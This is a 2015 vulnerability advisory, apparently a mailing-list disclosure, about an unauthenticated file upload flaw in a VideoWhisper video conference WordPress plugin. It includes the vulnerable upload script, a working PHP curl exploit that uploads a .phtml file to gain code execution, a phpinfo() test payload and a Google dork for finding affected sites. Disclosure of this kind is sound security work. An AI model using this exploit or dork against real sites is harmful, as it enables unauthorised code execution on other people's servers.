Remote file upload vulnerability in videowhisper-video-conference-integration wordpress plugin v4.91.8

["Larry W. Cashdollar" <larry0@xxxxxx>]

Title: Remote file upload vulnerability in 
videowhisper-video-conference-integration wordpress plugin v4.91.8
Author: Larry W. Cashdollar, @_larry0
Date: 2015-03-29
Download Site: 
https://wordpress.org/support/plugin/videowhisper-video-conference-integration
Vendor: http://www.videowhisper.com/
Vendor Notified: 2015-03-29 won’t fix, 
http://www.videowhisper.com/tickets_view.php?t=10019545-1427810822 
Vendor Contact: http://www.videowhisper.com/tickets_submit.php
Description: VideoWhisper Video Conference is a modern web based multiple way 
video chat and real time file sharing tool.  Read more on WordPress Video 
Conference plugin home page.
Vulnerability:
./videowhisper-video-conference-integration/vc/vw_upload.php

*Update*  You can directly execute php by uploading file extension ending in 
.phtml or .rhtml as long as the extension isn't defined in the 
apache mime.types.

Allows various remote unauthenticated file uploads,  among the file types is 
html where the last 4 characters are only being checked in a 
file name to match which types are allowed.  Because of this .phtml can be 
passed through and remote code execution allowed.  
The code does not do any user access validation and therefore anyone can upload 
the following files to an unsuspecting wordpress site:

.shtml,swf,.zip,.rar,.jpg,jpeg,.png,.gif,.txt,.doc,docx,.htm,html,.pdf,.mp3,.flv,.avi,.mpg,.ppt,.pps

The if (strstr($filename,'.php')) exit; can be by passed by using the extension 
.pht.

<?php

if ($_GET["room"]) $room=$_GET["room"];
if ($_POST["room"]) $room=$_POST["room"];
$filename=$_FILES['vw_file']['name'];

include_once("incsan.php");
sanV($room);
if (!$room) exit;
sanV($filename);
if (!$filename) exit;

if (strstr($filename,'.php')) exit;

//do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit;
if ( strstr($filename,"/") || strstr($filename,"..") ) exit;

$destination="uploads/".$room."/";
if ($_GET["slides"]) $destination .= "slides/";

$ext=strtolower(substr($filename,-4));
$allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi",".mpg",".ppt",".pps");

if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], 
$destination . $filename);
?>loadstatus=1

CVEID:
OSVDB:
Exploit Code:
         <?php
          
         $uploadfile="upexp.phtml";
         $ch = 
         
curl_init("http://target_site/wp-content/plugins/videowhisper-video-conference-integration/vc/vw_upload.php";);
         curl_setopt($ch, CURLOPT_POST, true);
         curl_setopt($ch, CURLOPT_POSTFIELDS,
                  
array('vw_file'=>"@$uploadfile",'name'=>'upexp.phtml','room'=>'.'));
         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
         $postResult = curl_exec($ch);
         curl_close($ch);
         print "$postResult";
          
         ?>
          
         upexp.phtml
          
         <?php
         phpinfo();
         ?>
         The executeable should be located in 
wordpress/wp-content/plugins/videowhisper-video-conference-integration/vc/uploads.

         Google dork: 
inurl:/wp-content/plugins/videowhisper-video-conference-integration/